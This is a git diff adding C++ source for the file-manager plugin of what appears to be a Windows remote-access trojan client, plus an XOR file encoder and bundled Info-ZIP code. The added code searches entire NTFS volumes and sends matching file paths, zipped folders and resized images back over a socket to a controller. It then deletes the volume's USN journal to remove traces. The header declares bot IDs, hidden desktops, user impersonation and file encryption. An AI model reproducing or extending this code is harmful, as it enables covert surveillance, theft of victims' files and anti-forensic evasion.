+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+ memcpy(zippath_filename, tmpPath + pathlen / 2, lstrlen(tmpPath) * 2 - pathlen + 2);
+ ZipAdd(hz, zippath_filename, tmpPath);
+ SAFE_DELETE_AR(zippath_filename);
+ }
+ } while (FindNextFile(hSearch, &fd) && !bIsStopZIP);
+ FindClose(hSearch);
+}
+
+void CFileManager::SendFileInfo(TCHAR* filepath, TCHAR* type) // jpg png ico bmp gif
+{
+ ResizePicture(filepath);
+}
+
+bool CFileManager::ResizePicture(TCHAR* strSource)
+{
+ CImage image, imDest;
+ int w = 0, h = 0;
+ if (SUCCEEDED(image.Load(strSource))) {
+ if (image.GetWidth() > 1000 || image.GetHeight() > 700) {
+ w = 1000;
+ h = 700;
+ } else {
+ w = image.GetWidth();
+ h = image.GetHeight();
+ }
+ imDest.Create(w, h, 24);
+ image.StretchBlt(imDest.GetDC(), CRect(0, 0, w, h), CRect(0, 0, image.GetWidth(), image.GetHeight()));
+ IStream* pOutStream = NULL;
+ if (CreateStreamOnHGlobal(NULL, TRUE, &pOutStream) == S_OK) {
+ imDest.Save(pOutStream, Gdiplus::ImageFormatJPEG);
+ HGLOBAL hOutGlobal = NULL;
+ GetHGlobalFromStream(pOutStream, &hOutGlobal);
+ LPBYTE pBits = (LPBYTE)GlobalLock(hOutGlobal);
+ if (pBits == nullptr) {
+ return 0;
+ }
+ int heath = sizeof(FILEPICINFO);
+ unsigned long ulBufferLen = (DWORD)GlobalSize(pBits);
+ char* pBuffer = new char[ulBufferLen + heath];
+ ::memcpy(pBuffer + heath, pBits, ulBufferLen);
+ FILEPICINFO* m_FILEINFO = new FILEPICINFO;
+ m_FILEINFO->Token = TOKEN_FILE_GETINFO;
+ m_FILEINFO->w = imDest.GetWidth();
+ m_FILEINFO->h = imDest.GetHeight();
+ m_FILEINFO->size = ulBufferLen;
+ memcpy(pBuffer, m_FILEINFO, heath);
+ Send((LPBYTE)pBuffer, ulBufferLen + heath);
+ SAFE_DELETE(pBuffer);
+
+ GlobalUnlock(hOutGlobal);
+ pOutStream->Release();
+ }
+ imDest.ReleaseDC();
+ imDest.Destroy();
+ image.Destroy();
+ }
+ return true;
+}
+
+BOOL CFileManager::GetVolumeNameByHandle(HANDLE hFile, char* szFullPath)
+{
+ //得到所有磁盘卷的卷序号
+ char* szBuf =NULL;
+ DWORD szAllDriveStrings = GetLogicalDriveStringsA(0, NULL); //驱动器总长度
+ if (szBuf == NULL) {
+ szBuf = new char[szAllDriveStrings +1]; //建立数组
+ }
+ int i;
+ DWORD dwVolumeSerialNumber;
+ memset(szBuf, 0, sizeof(szBuf));
+ //通过句柄得到文件的卷序号
+ //得到卷序号 lpFileInformation.dwVolumeSerialNumber
+ BY_HANDLE_FILE_INFORMATION lpFileInformation;
+ if (!GetFileInformationByHandle(hFile, &lpFileInformation) || (lpFileInformation.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
+ //通过句柄得到文件信息失败 或者 此句柄为文件夹句柄,并非文件句柄
+ return FALSE;
+ }
+ if (::GetLogicalDriveStringsA(szAllDriveStrings, szBuf)) {
+ for (i = 0; szBuf[i]; i += 4) {
+ //得到卷信息->卷序号
+ if (!_stricmp(&(szBuf[i]), "A:\\") || !_stricmp(&(szBuf[i]), "B:\\")) {
+ //忽略软盘 (一般不会使用,并且查询它的速度非常之慢)
+ continue;
+ }
+ if (GetVolumeInformationA(&(szBuf[i]), NULL, NULL, &dwVolumeSerialNumber, NULL, NULL, NULL, NULL)) {
+ // 与 lpFileInformation.dwVolumeSerialNumber 比较
+ // 如果相同,则找到该磁盘
+ if (dwVolumeSerialNumber == lpFileInformation.dwVolumeSerialNumber) {
+ //找到
+ char szVolumeName[4];
+ memset(szVolumeName, 0, sizeof(szVolumeName));
+ strcpy_s(szVolumeName, &(szBuf[i]));
+ szVolumeName[strlen(szVolumeName) - 1] = '\0';
+ //得到路径
+ HMODULE hNt = LoadLibraryA("ntdll.dll");
+ if (hNt) {
+ IO_STATUS_BLOCK isb = { 0 };;
+ FILE_NAME_INFORMATION fni = { 0 };
+ ZwQueryInformationFile fnZwQueryInformationFile = NULL;
+ fnZwQueryInformationFile = (ZwQueryInformationFile) ::GetProcAddress(hNt, "ZwQueryInformationFile");
+ if (fnZwQueryInformationFile) {
+ DWORD dwRet = 0;
+ dwRet = fnZwQueryInformationFile(hFile, &isb, &fni, sizeof(FILE_NAME_INFORMATION), 9);
+ if (!dwRet) {
+ //获取文件路径成功
+ fni.FileName[fni.FileNameLength / 2] = 0;
+ //构造成完整路径名
+ char szFilePath[MAX_PATH * 3];
+ memset(szFilePath, 0, sizeof(szFilePath));
+ WideCharToMultiByte(CP_ACP, 0, fni.FileName, -1, szFilePath, sizeof(szFilePath) - 1, NULL, NULL);
+ sprintf_s(szFullPath, MAX_PATH * 4, "%s%s", szVolumeName, szFilePath);
+ return TRUE;
+ }
+ }
+ FreeLibrary(hNt);
+ }
+ }
+ }
+ }
+ }
+ SAFE_DELETE_AR(szBuf);
+ return FALSE;
+}
+
+
+void CFileManager::GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber)
+{
+ typedef ULONG(__stdcall* PNtCreateFile)(
+ PHANDLE FileHandle,
+ ULONG DesiredAccess,
+ PVOID ObjectAttributes,
+ PVOID IoStatusBlock,
+ PLARGE_INTEGER AllocationSize,
+ ULONG FileAttributes,
+ ULONG ShareAccess,
+ ULONG CreateDisposition,
+ ULONG CreateOptions,
+ PVOID EaBuffer,
+ ULONG EaLength);
+ PNtCreateFile NtCreatefile = (PNtCreateFile)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtCreateFile");
+ typedef struct _UNICODE_STRING {
+ USHORT Length, MaximumLength;
+ PWCH Buffer;
+ } UNICODE_STRING, * PUNICODE_STRING;
+ UNICODE_STRING fidstr = { 8, 8, (PWSTR)&FileReferenceNumber };
+ typedef struct _OBJECT_ATTRIBUTES {
+ ULONG Length;
+ HANDLE RootDirectory;
+ PUNICODE_STRING ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor;
+ PVOID SecurityQualityOfService;
+ } OBJECT_ATTRIBUTES;
+ const ULONG OBJ_CASE_INSENSITIVE = 0x00000040UL;
+ OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES), hVol, &fidstr, OBJ_CASE_INSENSITIVE, 0, 0 };
+ HANDLE hFile;
+ long long iosb[2];
+ const ULONG FILE_OPEN_BY_FILE_ID = 0x00002000UL;
+ const ULONG FILE_OPEN = 0x00000001UL;
+ ULONG status = NtCreatefile(&hFile, GENERIC_ALL, &oa, iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_OPEN_BY_FILE_ID, NULL, 0);
+ ZeroMemory(c_pathname, MAX_PATH * 4);
+ if (status == 0) {
+ GetVolumeNameByHandle(hFile, c_pathname);
+ CloseHandle(hFile);
+ }
+}
+
+// 将 ANSI TCHAR* 转换为 WCHAR*,由调用者负责释放返回值
+WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr) {
+ if (!ansiStr) return nullptr;
+
+ int len = MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, NULL, 0);
+ if (len == 0) return nullptr;
+
+ WCHAR* wideStr = new WCHAR[len];
+ if (!wideStr) return nullptr;
+
+ MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, wideStr, len);
+ return wideStr;
+}
+
+void CFileManager::SendSearchData(LPBYTE lpBuffer)
+{
+ SEARCH S_search;
+ memset(&S_search, 0, sizeof(SEARCH));
+ memcpy(&S_search, lpBuffer, sizeof(SEARCH));
+ volName = S_search.TC_disk;
+ tc_search = S_search.TC_search;
+
+ int all = 0;
+ BOOL status;
+ bool isNTFS = false;
+ bool getHandleSuccess = false;
+ bool initUsnJournalSuccess = false;
+
+ TCHAR sysNameBuf[MAX_PATH] = { 0 };
+ status = GetVolumeInformation(volName,
+ NULL,
+ 0,
+ NULL,
+ NULL,
+ NULL,
+ sysNameBuf,
+ MAX_PATH);
+
+ if (0 != status) {
+ if (0 == lstrcmp(sysNameBuf, _T("NTFS"))) {
+ isNTFS = true;
+ } else {
+ BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_NONTFS;
+ Send((LPBYTE)&lpbuffer, 1);
+ return;
+ }
+ }
+
+ if (isNTFS) {
+ TCHAR fileName[MAX_PATH];
+ fileName[0] = _T('\0');
+
+ _tcscpy_s(fileName, _T("\\\\.\\"));
+ _tcscat_s(fileName, volName);
+
+ std::string fileNameStr = (std::string)fileName;
+ fileNameStr.erase(fileNameStr.find_last_of(_T(":")) + 1);
+ hVol = CreateFile(fileNameStr.data(),
+ GENERIC_READ | GENERIC_WRITE, // 可以为0
+ FILE_SHARE_READ | FILE_SHARE_WRITE, // 必须包含有FILE_SHARE_WRITE
+ NULL, // 这里不需要
+ OPEN_EXISTING, // 必须包含OPEN_EXISTING, CREATE_ALWAYS可能会导致错误
+ FILE_ATTRIBUTE_READONLY, // FILE_ATTRIBUTE_NORMAL可能会导致错误
+ NULL); // 这里不需要
+
+ if (INVALID_HANDLE_VALUE != hVol) {
+ getHandleSuccess = true;
+ } else {
+ BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_HANDLE;
+ Send((LPBYTE)&lpbuffer, 1);
+ return;
+ }
+ }
+
+ if (getHandleSuccess) {
+ DWORD br;
+ CREATE_USN_JOURNAL_DATA cujd;
+ cujd.MaximumSize = 0; // 0表示使用默认值
+ cujd.AllocationDelta = 0; // 0表示使用默认值
+ status = DeviceIoControl(hVol,
+ FSCTL_CREATE_USN_JOURNAL,
+ &cujd,
+ sizeof(cujd),
+ NULL,
+ 0,
+ &br,
+ NULL);
+
+ if (0 != status) {
+ initUsnJournalSuccess = true;
+ } else {
+ BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_INITUSN;
+ Send((LPBYTE)&lpbuffer, 1);
+ return;
+ }
+ }
+ lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(TCHAR));
+ lpBuffer[0] = TOKEN_FILE_SEARCHPLUS_LIST;
+ DWORD dwOffset = 1;
+ DWORD dwLength = 1024 * 8;
+ if (initUsnJournalSuccess) {
+ bool getBasicInfoSuccess = false;
+ DWORD br;
+ status = DeviceIoControl(hVol, FSCTL_QUERY_USN_JOURNAL, NULL, 0, &UsnInfo, sizeof(USN_JOURNAL_DATA), &br, NULL);
+ if (0 != status) {
+ getBasicInfoSuccess = true;
+ } else {
+
+ BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_GETUSN;
+ Send((LPBYTE)&lpbuffer, 1);
+ return;
+ }
+ if (getBasicInfoSuccess) {
+ MFT_ENUM_DATA med;
+ med.StartFileReferenceNumber = 0;
+ med.LowUsn = 0;//UsnInfo.FirstUsn; 这里经测试发现,如果用FirstUsn有时候不正确,导致获取到不完整的数据,还是直接写0好.
+ med.HighUsn = UsnInfo.NextUsn;
+
+ CHAR buffer[4096]; // 用于储存记录的缓冲,尽量足够地大
+ DWORD usnDataSize;
+ PUSN_RECORD UsnRecord;
+
+ while (0 != DeviceIoControl(hVol, FSCTL_ENUM_USN_DATA, &med, sizeof(med), buffer, 4096, &usnDataSize, NULL)) {
+ DWORD dwRetBytes = usnDataSize - sizeof(USN);
+ UsnRecord = (PUSN_RECORD)(((PCHAR)buffer) + sizeof(USN));
+ while (dwRetBytes > 0) {
+ const int strLen = UsnRecord->FileNameLength;
+ char c_fileName[MAX_PATH * 2] = { 0 };
+ WCHAR *search = ConvertTCharToWChar(tc_search);
+ if (wcsstr(UsnRecord->FileName, search) != NULL) { //在a中查找b,如果不存在,
+ WideCharToMultiByte(CP_OEMCP, NULL, UsnRecord->FileName, strLen / 2, c_fileName, strLen, NULL, FALSE);
+
+ GetFullPathByFileReferenceNumber(hVol, UsnRecord->FileReferenceNumber);
+
+ if (LocalSize(lpBuffer) < (dwOffset + dwLength))
+ lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
+
+ memcpy(lpBuffer + dwOffset, c_fileName, strlen(c_fileName));
+ dwOffset += (DWORD)strlen(c_fileName) + 1;
+
+ memcpy(lpBuffer + dwOffset, c_pathname, strlen(c_pathname));
+ dwOffset += (DWORD)strlen(c_pathname) + 1;
+ }
+ SAFE_DELETE_AR(search);
+
+ DWORD recordLen = UsnRecord->RecordLength;
+ dwRetBytes -= recordLen;
+ UsnRecord = (PUSN_RECORD)(((PCHAR)UsnRecord) + recordLen);
+ }
+
+ med.StartFileReferenceNumber = *(USN*)&buffer;
+ }
+ }
+
+ DELETE_USN_JOURNAL_DATA dujd;
+ dujd.UsnJournalID = UsnInfo.UsnJournalID;
+ dujd.DeleteFlags = USN_DELETE_FLAG_DELETE;
+ status = DeviceIoControl(hVol, FSCTL_DELETE_USN_JOURNAL, &dujd, sizeof(dujd), NULL, 0, &br, NULL);
+ }
+ // 最后释放一些资源
+ if (getHandleSuccess) {
+ CloseHandle(hVol);
+ }
+ lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
+ if (lpBuffer == NULL)
+ return;
+
+ Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer)));
+ LocalFree(lpBuffer);
+ return;
+}
+
+}
diff --git a/client/file/FileManager.h b/client/file/FileManager.h
new file mode 100644
index 0000000..eb99b81
--- /dev/null
+++ b/client/file/FileManager.h
@@ -0,0 +1,152 @@
+#include
+#include
+#include
+#include "Manager.h"
+#include
+#include "zip.h"
+
+#pragma once
+#include
+typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 ,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
+#include "MasterEncoder.h"
+
+namespace SimplePluginsFile {
+
+typedef struct {
+ UINT nFileSize; // 文件大小
+ UINT nSendSize; // 已发送大小
+} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
+
+typedef struct {
+ DWORD dwSizeHigh;
+ DWORD dwSizeLow;
+ BOOL error;
+} FILESIZE;
+
+
+typedef struct {
+ TCHAR SearchFileName[MAX_PATH];
+ TCHAR SearchPath[MAX_PATH];
+ BOOL bEnabledSubfolder;
+} FILESEARCH;
+
+
+typedef struct {
+ BYTE Token;
+ int w,h,size;
+} FILEPICINFO;
+
+
+struct SEARCH {
+ TCHAR TC_disk[8];
+ TCHAR TC_search[MAX_PATH];
+};
+
+typedef struct _IO_STATUS_BLOCK {
+ union {
+ NTSTATUS Status;
+ PVOID Pointer;
+ };
+ ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef struct _FILE_NAME_INFORMATION {
+ ULONG FileNameLength;
+ WCHAR FileName[MAX_PATH];
+} FILE_NAME_INFORMATION;
+
+typedef LONG(__stdcall* ZwQueryInformationFile) (
+ IN HANDLE FileHandle,
+ OUT PIO_STATUS_BLOCK IoStatusBlock,
+ OUT PVOID FileInformation,
+ IN ULONG FileInformationLength,
+ IN ULONG FileInformationClass
+);
+
+WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
+
+class CFileManager : public CManager
+{
+public:
+ MasterEncoder m_encoder;
+ DWORD dwRet;
+ void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+ UINT SendDriveList();
+ CFileManager(ISocketBase* pClient, int n, void* user);
+ virtual ~CFileManager();
+private:
+ LPBYTE lpSendPacket;
+ std::list m_UploadList;
+ BOOL m_bIsWow64;
+ UINT m_nTransferMode;
+ HANDLE m_hFileSend;
+ HANDLE m_hFileRecv;
+ TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
+ __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
+ bool benofrce;
+ TCHAR* copyfile;
+ HANDLE ImpersonateLoggedOnUserWrapper();
+ bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
+ bool UploadToRemote(LPBYTE lpBuffer);
+ bool FixedUploadList(LPCTSTR lpszDirectory);
+ void StopTransfer(BOOL bIsUpload);
+ UINT SendFilesList(TCHAR* lpszDirectory);
+ bool DeleteDirectory(LPCTSTR lpszDirectory);
+ UINT SendFileSize(LPCTSTR lpszFileName);
+ void SendFileData(LPBYTE lpBuffer);
+ void CreateFolder(LPBYTE lpBuffer);
+ void Rename(LPBYTE lpBuffer);
+ int SendToken(BYTE bToken);
+
+ void CreateLocalRecvFile(LPBYTE lpBuffer);
+ void SetTransferMode(LPBYTE lpBuffer);
+ void GetFileData();
+ void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
+ void UploadNext();
+ BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
+ void ExeCompress(BYTE* lpBuffer);
+ void SendSearchData(LPBYTE lpBuffer);
+ BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
+ void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
+
+protected:
+ HANDLE m_hWorkThread;
+ BOOL bIsStopSearch;
+ FILESEARCH filesearch;
+
+ void StopSearchTheard();
+ void SendSearchFilesList(LPCTSTR str);
+ static void WINAPI FindFileThread(LPVOID lparam);
+ void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
+ TCHAR g_desktopName[MAX_PATH];
+ ULONG PseudoRand(ULONG* seed);
+ void GetBotId(TCHAR* botId);
+ HDESK g_hDesk;;
+ bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
+ void SendNetHood(); //发送共享文件目录
+ void encfile(char* in_filename);
+ void decryptfile(char* in_filename);
+ bool FnDelPathFile(TCHAR* tc_path);
+
+ TCHAR* zippath_t;
+ HANDLE m_hWorkZIPThread;
+ BOOL bIsStopZIP;
+ void StopZIPTheard();
+ void StartZIP();
+ static void WINAPI FindZIPThread(LPVOID lparam);
+ void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
+
+ //info
+ void SendFileInfo(TCHAR* filepath,TCHAR * type);
+ bool ResizePicture(TCHAR* strSource);
+
+ TCHAR* volName; // 驱动盘名称
+ TCHAR* tc_search; // 搜索关键词
+ HANDLE hVol; // 用于储存驱动盘句柄
+ USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
+ long counter;
+ LPBYTE lpBuffer;
+ char* c_pathname;
+};
+
+}
diff --git a/client/file/MasterEncoder.cpp b/client/file/MasterEncoder.cpp
new file mode 100644
index 0000000..bbbf893
--- /dev/null
+++ b/client/file/MasterEncoder.cpp
@@ -0,0 +1,162 @@
+#include "StdAfx.h"
+#include "MasterEncoder.h"
+#include
+#include
+#include
+
+namespace SimplePluginsFile {
+
+MasterEncoder::MasterEncoder()
+{
+ _codeKey = 100;
+ _sign = nullptr;
+ _signLen = 0;
+}
+
+MasterEncoder::~MasterEncoder()
+{
+ SAFE_DELETE_AR(_sign);
+}
+
+void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
+{
+ if (sign && signLen) {
+ _signLen = signLen;
+ SAFE_DELETE_AR(_sign);
+ _sign = new char[signLen];
+ if (_sign) {
+ memcpy(_sign, sign, signLen);
+ } else {
+ Mprintf("setSignAndKey Failed!\n");
+ }
+ }
+ _codeKey = key;
+}
+
+void MasterEncoder::encode(unsigned char* data, long size)
+{
+ for (long i = 0; i < size; i++) {
+ data[i] ^= _codeKey;
+ }
+}
+
+void MasterEncoder::decode(unsigned char* data, long size)
+{
+ for (long i = 0; i < size; i++) {
+ data[i] ^= _codeKey;
+ }
+}
+
+unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
+{
+ std::ifstream ifs;
+ ifs.open(filepath, std::ios::in | std::ios::binary);
+
+ if (!ifs.is_open()) {
+ Mprintf("文件打开失败: %s\n", filepath.c_str());
+ return nullptr;
+ }
+
+ ifs.seekg(0, std::ios_base::end);
+ size =(long) ifs.tellg();
+ ifs.seekg(0, std::ios_base::beg);
+ unsigned char* data = new unsigned char[size];
+ long count = 0;
+ while (count < size) {
+ ifs.read((char*)&data[count], sizeof(unsigned char));
+ count++;
+ }
+
+ Mprintf("read PDF size = %d\n", size);
+
+ ifs.close();
+
+ return data;
+}
+
+void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
+{
+ std::ofstream ofs;
+ ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
+
+ if (!ofs.is_open()) {
+ Mprintf("文件打开失败: %s\n", filePath.c_str());
+ return;
+ }
+
+ long count = 0;
+ while (count < size) {
+ ofs.write((char*)&data[count], sizeof(unsigned char));
+ count++;
+ }
+ Mprintf("save PDF size = %d\n", size);
+ ofs.close();
+}
+
+void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+ long size = 0;
+ unsigned char* data = readPDF(pdfPath, size);
+
+ //判断是否已经加密过
+ if (memcmp(data, _sign, _signLen) == 0) {
+ Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
+ writePDF(savePath, data, size);
+ } else {
+ encode(data, size);
+
+ if (_signLen > 0) {
+ unsigned char* p = new unsigned char[size + _signLen];
+ memcpy(p, _sign, _signLen);
+ memcpy(p + _signLen, data, size);
+
+ writePDF(savePath, p, size + _signLen);
+
+ delete[] p;
+ } else {
+ writePDF(savePath, data, size);
+ }
+ }
+
+ delete[] data;
+}
+
+void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+ long size = 0;
+ unsigned char* data = readPDF(pdfPath, size);
+
+ if (_signLen == 0) {
+ decode(data, size);
+ writePDF(savePath, data, size);
+ } else if (memcmp(data, _sign, _signLen) == 0) {
+ unsigned char* p = (data + _signLen);
+ decode(p, size - _signLen);
+ writePDF(savePath, p, size - _signLen);
+ } else {
+ Mprintf("解密失败: %s\n", pdfPath.c_str());
+ }
+
+ delete[] data;
+}
+
+unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
+{
+ unsigned char* data = readPDF(pdfPath, size);
+
+ if (_signLen == 0) {
+ decode(data, size);
+ return data;
+ } else if (memcmp(data, _sign, _signLen) == 0) {
+ size -= _signLen;
+ unsigned char* p = new unsigned char[size];
+ memcpy(p, data + _signLen, size);
+ decode(p, size);
+ delete[] data;
+ return p;
+ } else {
+ return data;
+ }
+}
+
+}
diff --git a/client/file/MasterEncoder.h b/client/file/MasterEncoder.h
new file mode 100644
index 0000000..bdc1707
--- /dev/null
+++ b/client/file/MasterEncoder.h
@@ -0,0 +1,32 @@
+#pragma once
+
+#include
+
+namespace SimplePluginsFile {
+
+class MasterEncoder
+{
+public:
+ MasterEncoder();
+ ~MasterEncoder();
+
+ void setSignAndKey(char* sign, int signLen, unsigned char key);
+
+ void decode(unsigned char* data, long size);
+ void encode(unsigned char* data, long size);
+
+ void writePDF(const std::string& filePath, unsigned char* data, long size);
+ unsigned char* readPDF(const std::string& filepath, long& size);
+
+public:
+ void encodePDF(const std::string& pdfPath, const std::string& savePath);
+ void decodePDF(const std::string& pdfPath, const std::string& savePath);
+ unsigned char* decode(const std::string& pdfPath, long& size);
+
+private:
+ unsigned char _codeKey;
+ char* _sign;
+ int _signLen;
+};
+
+}
diff --git a/client/file/zip.cpp b/client/file/zip.cpp
new file mode 100644
index 0000000..958802b
--- /dev/null
+++ b/client/file/zip.cpp
@@ -0,0 +1,2911 @@
+#include
+#include
+#include
+#include "zip.h"
+
+
+// THIS FILE is almost entirely based upon code by info-zip.
+// It has been modified by Lucian Wischik. The modifications
+// were a complete rewrite of the bit of code that generates the
+// layout of the zipfile, and support for zipping to/from memory
+// or handles or pipes or pagefile or diskfiles, encryption, unicode.
+// The original code may be found at http://www.info-zip.org
+// The original copyright text follows.
+//
+//
+//
+// This is version 1999-Oct-05 of the Info-ZIP copyright and license.
+// The definitive version of this document should be available at
+// ftp://ftp.cdrom.com/pub/infozip/license.html indefinitely.
+//
+// Copyright (c) 1990-1999 Info-ZIP. All rights reserved.
+//
+// For the purposes of this copyright and license, "Info-ZIP" is defined as
+// the following set of individuals:
+//
+// Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois,
+// Jean-loup Gailly, Hunter Goatley, Ian Gorman, Chris Herborth, Dirk Haase,
+// Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum,
+// Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller,
+// Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel,
+// Steve Salisbury, Dave Smith, Christian Spieler, Antoine Verheijen,
+// Paul von Behren, Rich Wales, Mike White
+//
+// This software is provided "as is," without warranty of any kind, express
+// or implied. In no event shall Info-ZIP or its contributors be held liable
+// for any direct, indirect, incidental, special or consequential damages
+// arising out of the use of or inability to use this software.
+//
+// Permission is granted to anyone to use this software for any purpose,
+// including commercial applications, and to alter it and redistribute it
+// freely, subject to the following restrictions:
+//
+// 1. Redistributions of source code must retain the above copyright notice,
+// definition, disclaimer, and this list of conditions.
+//
+// 2. Redistributions in binary form must reproduce the above copyright
+// notice, definition, disclaimer, and this list of conditions in
+// documentation and/or other materials provided with the distribution.
+//
+// 3. Altered versions--including, but not limited to, ports to new operating
+// systems, existing ports with new graphical interfaces, and dynamic,
+// shared, or static library versions--must be plainly marked as such
+// and must not be misrepresented as being the original source. Such
+// altered versions also must not be misrepresented as being Info-ZIP
+// releases--including, but not limited to, labeling of the altered
+// versions with the names "Info-ZIP" (or any variation thereof, including,
+// but not limited to, different capitalizations), "Pocket UnZip," "WiZ"
+// or "MacZip" without the explicit permission of Info-ZIP. Such altered
+// versions are further prohibited from misrepresentative use of the
+// Zip-Bugs or Info-ZIP e-mail addresses or of the Info-ZIP URL(s).
+//
+// 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip,"
+// "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and
+// binary releases.
+//
+
+
+typedef unsigned char uch; // unsigned 8-bit value
+typedef unsigned short ush; // unsigned 16-bit value
+typedef unsigned long ulg; // unsigned 32-bit value
+typedef size_t extent; // file size
+typedef unsigned Pos; // must be at least 32 bits
+typedef unsigned IPos; // A Pos is an index in the character window. Pos is used only for parameter passing
+
+#ifndef EOF
+#define EOF (-1)
+#endif
+
+
+// Error return values. The values 0..4 and 12..18 follow the conventions
+// of PKZIP. The values 4..10 are all assigned to "insufficient memory"
+// by PKZIP, so the codes 5..10 are used here for other purposes.
+#define ZE_MISS -1 // used by procname(), zipbare()
+#define ZE_OK 0 // success
+#define ZE_EOF 2 // unexpected end of zip file
+#define ZE_FORM 3 // zip file structure error
+#define ZE_MEM 4 // out of memory
+#define ZE_LOGIC 5 // internal logic error
+#define ZE_BIG 6 // entry too large to split
+#define ZE_NOTE 7 // invalid comment format
+#define ZE_TEST 8 // zip test (-T) failed or out of memory
+#define ZE_ABORT 9 // user interrupt or termination
+#define ZE_TEMP 10 // error using a temp file
+#define ZE_READ 11 // read or seek error
+#define ZE_NONE 12 // nothing to do
+#define ZE_NAME 13 // missing or empty zip file
+#define ZE_WRITE 14 // error writing to a file
+#define ZE_CREAT 15 // couldn't open to write
+#define ZE_PARMS 16 // bad command line
+#define ZE_OPEN 18 // could not open a specified file to read
+#define ZE_MAXERR 18 // the highest error number
+
+
+// internal file attribute
+#define UNKNOWN (-1)
+#define BINARY 0
+#define ASCII 1
+
+#define BEST -1 // Use best method (deflation or store)
+#define STORE 0 // Store method
+#define DEFLATE 8 // Deflation method
+
+#define CRCVAL_INITIAL 0L
+
+// MSDOS file or directory attributes
+#define MSDOS_HIDDEN_ATTR 0x02
+#define MSDOS_DIR_ATTR 0x10
+
+// Lengths of headers after signatures in bytes
+#define LOCHEAD 26
+#define CENHEAD 42
+#define ENDHEAD 18
+
+// Definitions for extra field handling:
+#define EB_HEADSIZE 4 /* length of a extra field block header */
+#define EB_LEN 2 /* offset of data length field in header */
+#define EB_UT_MINLEN 1 /* minimal UT field contains Flags byte */
+#define EB_UT_FLAGS 0 /* byte offset of Flags field */
+#define EB_UT_TIME1 1 /* byte offset of 1st time value */
+#define EB_UT_FL_MTIME (1 << 0) /* mtime present */
+#define EB_UT_FL_ATIME (1 << 1) /* atime present */
+#define EB_UT_FL_CTIME (1 << 2) /* ctime present */
+#define EB_UT_LEN(n) (EB_UT_MINLEN + 4 * (n))
+#define EB_L_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(3))
+#define EB_C_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(1))
+
+
+// Macros for writing machine integers to little-endian format
+#define PUTSH(a,f) {char _putsh_c=(char)((a)&0xff); wfunc(param,&_putsh_c,1); _putsh_c=(char)((a)>>8); wfunc(param,&_putsh_c,1);}
+#define PUTLG(a,f) {PUTSH((a) & 0xffff,(f)) PUTSH((a) >> 16,(f))}
+
+
+// -- Structure of a ZIP file --
+// Signatures for zip file information headers
+#define LOCSIG 0x04034b50L
+#define CENSIG 0x02014b50L
+#define ENDSIG 0x06054b50L
+#define EXTLOCSIG 0x08074b50L
+
+
+#define MIN_MATCH 3
+#define MAX_MATCH 258
+// The minimum and maximum match lengths
+
+
+#define WSIZE (0x8000)
+// Maximum window size = 32K. If you are really short of memory, compile
+// with a smaller WSIZE but this reduces the compression ratio for files
+// of size > WSIZE. WSIZE must be a power of two in the current implementation.
+//
+
+#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
+// Minimum amount of lookahead, except at the end of the input file.
+// See deflate.c for comments about the MIN_MATCH+1.
+//
+
+#define MAX_DIST (WSIZE-MIN_LOOKAHEAD)
